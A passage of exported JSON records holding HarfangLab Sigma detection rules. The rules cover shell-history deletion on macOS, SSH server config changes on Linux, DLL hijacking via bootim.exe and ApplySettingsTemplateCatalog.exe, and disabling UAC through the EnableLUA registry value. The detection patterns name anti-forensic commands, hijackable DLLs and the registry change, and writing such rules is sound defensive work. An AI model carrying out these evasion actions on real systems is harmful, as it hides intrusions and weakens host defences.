+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.598235Z",
+  "creation_date": "2026-03-23T11:45:34.598241Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.598253Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1070/003/"
+  ],
+  "name": "t1070_003_history_file_removed_macos.yml",
+  "content": "title: Shell History File Cleared (macOS)\nid: 0e2c06ef-3fca-4f1b-8f83-5b01fc0f4dcb\ndescription: |\n    Detects the history file being removed.\n    Attackers may clear the command history of a compromised account to conceal the actions undertaken during an intrusion.\n    It is recommended to investigate other malicious actions that may have been taken by the parent process.\nreferences:\n    - https://attack.mitre.org/techniques/T1070/003/\ndate: 2022/11/25\nmodified: 2025/04/08\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1070.003\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Deletion\n    - classification.macOS.Behavior.ImpairDefenses\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection_binary1:\n        Image:\n            - '/bin/rm'\n            - '/bin/unlink'\n            - '/bin/dd'\n            - '/usr/bin/truncate'\n\n    selection_binary2:\n        Image:\n            - '/bin/cat'\n            - '/bin/echo'\n        CommandLine|contains: \">\"\n\n    selection_commandline:\n        CommandLine|contains:\n            - '.bash_history'\n            - 'fish_history'\n            - '.history'\n            - '.sh_history'\n            - '.zhistory'\n            - '.zsh_history'\n\n    # /bin/rm /Users/<user>/.zsh_sessions/<UUID>.historynew\n    exclusion_zsh_sessions:\n        Image: '/bin/rm'\n        CommandLine|endswith: '.historynew'\n\n    exclusion_cursor:\n        - GrandparentImage: '/Applications/Cursor.app/Contents/Frameworks/Cursor Helper (Plugin).app/Contents/MacOS/Cursor Helper (Plugin)'\n        - ParentImage: '/Applications/Cursor.app/Contents/MacOS/Cursor'\n\n    exclusion_vscode:\n        ParentImage:\n            - '/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper (Plugin).app/Contents/MacOS/Code Helper (Plugin)'\n            - '/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n            - '/Applications/Visual Studio Code.app/Contents/MacOS/Electron'\n\n    condition: (1 of selection_binary* and selection_commandline) and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0e2c06ef-3fca-4f1b-8f83-5b01fc0f4dcb",
+  "rule_name": "Shell History File Cleared (macOS)",
+  "rule_description": "Detects the history file being removed.\nAttackers may clear the command history of a compromised account to conceal the actions undertaken during an intrusion.\nIt is recommended to investigate other malicious actions that may have been taken by the parent process.\n",
+  "rule_creation_date": "2022-11-25",
+  "rule_modified_date": "2025-04-08",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0e4aa7c9-6644-49db-905a-46646475b8a2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.726662Z",
+  "creation_date": "2026-03-23T11:45:35.297664Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.297668Z",
+  "rule_level": "high",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1021/004/",
+    "https://attack.mitre.org/techniques/T1563/001/",
+    "https://attack.mitre.org/techniques/T1484/"
+  ],
+  "name": "t1021_004_ssh_server_config_modified_linux.yml",
+  "content": "title: Suspicious Modification of the SSH Server Configuration\nid: 0e4aa7c9-6644-49db-905a-46646475b8a2\ndescription: |\n    Detects an attempt to modify the SSH server configuration file, which contains security settings.\n    Attackers may alter these settings to weaken security.\n    It is recommended to review file changes by downloading the file through a job, check access permissions and assess risks from these changes.\nreferences:\n    - https://attack.mitre.org/techniques/T1021/004/\n    - https://attack.mitre.org/techniques/T1563/001/\n    - https://attack.mitre.org/techniques/T1484/\ndate: 2022/11/07\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.004\n    - attack.t1563.001\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1484\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.ConfigChange\n    - classification.Linux.Behavior.Persistence\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection:\n        - Path: '/etc/ssh/sshd_config'\n        - TargetPath: '/etc/ssh/sshd_config'\n\n    filter_read_access:\n        Kind: 'access'\n        Permissions: 'read'\n\n    exclusion_dpkg:\n        - ProcessImage: '/usr/bin/dpkg'\n        - ProcessParentImage: '/usr/bin/dpkg'\n        - ProcessGrandparentImage: '/usr/bin/dpkg'\n        - ProcessAncestors|contains: '|/usr/bin/dpkg|'\n    exclusion_dpkg_cmds_bin:\n        - ProcessCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/dpkg-'\n    exclusion_dpkg_cmds_sbin:\n        - ProcessCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/sbin/dpkg-'\n    exclusion_apt:\n        - ProcessImage: '/usr/bin/apt'\n        - ProcessParentImage: '/usr/bin/apt'\n        - ProcessGrandparentImage: '/usr/bin/apt'\n    exclusion_apk:\n        - ProcessImage: '/sbin/apk'\n        - ProcessParentImage: '/sbin/apk'\n        - ProcessGrandparentImage: '/sbin/apk'\n        - ProcessAncestors|contains: '|/usr/bin/apt|'\n    exclusion_dpkg_postinstall:\n        - ProcessCommandLine|contains: '/var/lib/dpkg/info/openssh-server.postinst configure'\n        - ProcessParentCommandLine|contains: '/var/lib/dpkg/info/openssh-server.postinst configure'\n        - ProcessGrandparentCommandLine|contains: '/var/lib/dpkg/info/openssh-server.postinst configure'\n    exclusion_yum:\n        - ProcessCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessParentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n    exclusion_dnf:\n        ProcessCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python* /bin/dnf'\n            - '/usr/bin/python* /usr/bin/dnf'\n            - 'dnf upgrade'\n            - 'dnf upgrade --refresh'\n            - 'dnf update'\n\n    exclusion_sophos:\n        ProcessImage: '/opt/sophos-av/engine/_/savscand.?'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_chmod:\n        ProcessImage: '/bin/chmod'\n\n    exclusion_denyhost_sshd:\n        ProcessCommandLine|startswith: '/usr/bin/perl /usr/sbin/denyhost-sshd-plugin'\n\n    exclusion_docker:\n        - ProcessImage:\n            - '/usr/bin/dockerd'\n            - '/usr/sbin/dockerd'\n            - '/usr/bin/dockerd-current'\n            - '/usr/sbin/dockerd-current'\n            - '/usr/local/bin/dockerd'\n            - '/usr/bin/dockerd-ce'\n        - ProcessAncestors|contains:\n            - '|/usr/bin/dockerd|'\n            - '|/usr/bin/containerd-shim-runc-v2|'\n            - '|/usr/local/bin/containerd-shim-runc-v2|'\n    exclusion_docker2:\n        ProcessImage|endswith: '/bin/dockerd'\n        ProcessCommandLine: 'docker-applyLayer *'\n\n    exclusion_rootlesskit:\n        # /home/<redacted>/bin/rootlesskit --state-dir=/run/user/1022/dockerd-rootless --net=slirp4netns --mtu=65520 --slirp4netns-sandbox=auto --slirp4netns-seccomp=auto --disable-host-loopback --port-driver=builtin --copy-up=/etc --copy-up=/run --propagation=rslave /home/<redacted>/bin/dockerd-rootless.sh\n        - ProcessImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n        - ProcessParentImage:\n            - '/usr/bin/rootlesskit'\n            - '/home/*/bin/rootlesskit'\n            - '/home/*/.bin/rootlesskit'\n\n    exclusion_podman:\n        ProcessImage: '/usr/bin/podman'\n\n    exclusion_bitdefender:\n        ProcessImage: '/opt/bitdefender-security-tools/bin/bdsecd'\n\n    exclusion_puppet:\n        - ProcessImage|startswith: '/opt/puppetlabs/'\n        - ProcessParentImage|startswith: '/opt/puppetlabs/'\n        - ProcessCommandLine|contains: '/usr/bin/puppet agent'\n\n    exclusion_puppet2:\n        ProcessParentCommandLine: 'puppet agent: applying configuration'\n\n    exclusion_qradar:\n        ProcessCommandLine|startswith: '/bin/bash /opt/qradar/bin/post-deploy.sh'\n\n    exclusion_puppet3:\n        ProcessParentImage|startswith: '/opt/puppetlabs/'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0e4aa7c9-6644-49db-905a-46646475b8a2",
+  "rule_name": "Suspicious Modification of the SSH Server Configuration",
+  "rule_description": "Detects an attempt to modify the SSH server configuration file, which contains security settings.\nAttackers may alter these settings to weaken security.\nIt is recommended to review file changes by downloading the file through a job, check access permissions and assess risks from these changes.\n",
+  "rule_creation_date": "2022-11-07",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.lateral_movement",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.004",
+    "attack.t1484",
+    "attack.t1563.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0e5eb5ea-f9ef-45a5-9a7e-5e812658c6c1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088331Z",
+  "creation_date": "2026-03-23T11:45:34.088333Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088337Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_bootim.yml",
+  "content": "title: DLL Hijacking via bootim.exe\nid: 0e5eb5ea-f9ef-45a5-9a7e-5e812658c6c1\ndescription: |\n    Detects potential Windows DLL Hijacking via bootim.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'bootim.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\bcd.dll'\n            - '\\BootMenuUX.DLL'\n            - '\\bootux.dll'\n            - '\\Cabinet.dll'\n            - '\\dbghelp.dll'\n            - '\\DismApi.DLL'\n            - '\\FLTLIB.DLL'\n            - '\\OLEACC.dll'\n            - '\\PROPSYS.dll'\n            - '\\ReAgent.dll'\n            - '\\ResetEng.dll'\n            - '\\tbs.dll'\n            - '\\VirtDisk.dll'\n            - '\\VSSAPI.DLL'\n            - '\\VssTrace.DLL'\n            - '\\WDSCORE.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0e5eb5ea-f9ef-45a5-9a7e-5e812658c6c1",
+  "rule_name": "DLL Hijacking via bootim.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via bootim.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0e9afbf0-2bb7-4577-abdb-a763825ffb58",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079662Z",
+  "creation_date": "2026-03-23T11:45:34.079664Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079668Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_applysettingstemplatecatalog.yml",
+  "content": "title: DLL Hijacking via ApplySettingsTemplateCatalog.exe\nid: 0e9afbf0-2bb7-4577-abdb-a763825ffb58\ndescription: |\n    Detects potential Windows DLL Hijacking via ApplySettingsTemplateCatalog.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'ApplySettingsTemplateCatalog.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\activeds.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0e9afbf0-2bb7-4577-abdb-a763825ffb58",
+  "rule_name": "DLL Hijacking via ApplySettingsTemplateCatalog.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via ApplySettingsTemplateCatalog.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0f267464-6531-4169-a033-e710c3cdd29b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622596Z",
+  "creation_date": "2026-03-23T11:45:34.622598Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622602Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/microsoft-windows-lua-settings-enablelua",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_disable_lua.yml",
+  "content": "title: Limited User Account (LUA) Disabled\nid: 0f267464-6531-4169-a033-e710c3cdd29b\ndescription: |\n    Detects Limited User Account (LUA, old name of UAC) being disabled.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to investigate the process to determine whether this modification is legitimate.\nreferences:\n    - https://docs.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/microsoft-windows-lua-settings-enablelua\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2020/12/21\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject|endswith: '\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA'\n        Details: 'DWORD (0x00000000)'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    # This excludes registry modifications coming from local security strategies.\n    exclusion_services:\n        ProcessImage: '?:\\Windows\\System32\\services.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\wininit.exe'\n        ProcessUserSID: 'S-1-5-18'\n\n    exclusion_device_enroller:\n        # C:\\Windows\\system32\\deviceenroller.exe /o C636116F-52B6-470F-81BC-6D6E0D8D2FE6 /c /b\n        ProcessImage: '?:\\Windows\\System32\\DeviceEnroller.exe'\n        ProcessParentImage: '?:\\Windows\\system32\\svchost.exe'\n\n    exclusion_siemens:\n        ProcessImage: '?:\\Windows\\Temp\\TSplusInstaller\\Setup-Siemens.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'TSplus SAS'\n\n    exclusion_qqgame:\n        ProcessOriginalFileName: 'qqgame.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Tencent Technology (Shenzhen) Company Limited'\n\n    exclusion_wapt:\n        ProcessImage: '?:\\Program Files (x86)\\wapt\\wapt-get.exe'\n\n    exclusion_ancestors:\n        ProcessAncestors|contains: '?:\\Windows\\CCM\\smsswd.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0f267464-6531-4169-a033-e710c3cdd29b",
+  "rule_name": "Limited User Account (LUA) Disabled",
+  "rule_description": "Detects Limited User Account (LUA, old name of UAC) being disabled.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to investigate the process to determine whether this modification is legitimate.\n",
+  "rule_creation_date": "2020-12-21",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0f4fc753-a19b-44c4-aa32-f0c68a01a0ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074982Z",
+  "creation_date": "2026-03-23T11:45:34.074984Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074989Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/grandoreiro-malware-now-targeting-banks-in-spain/",
+    "https://attack.mitre.org/techniques/T1176/"
+  ],
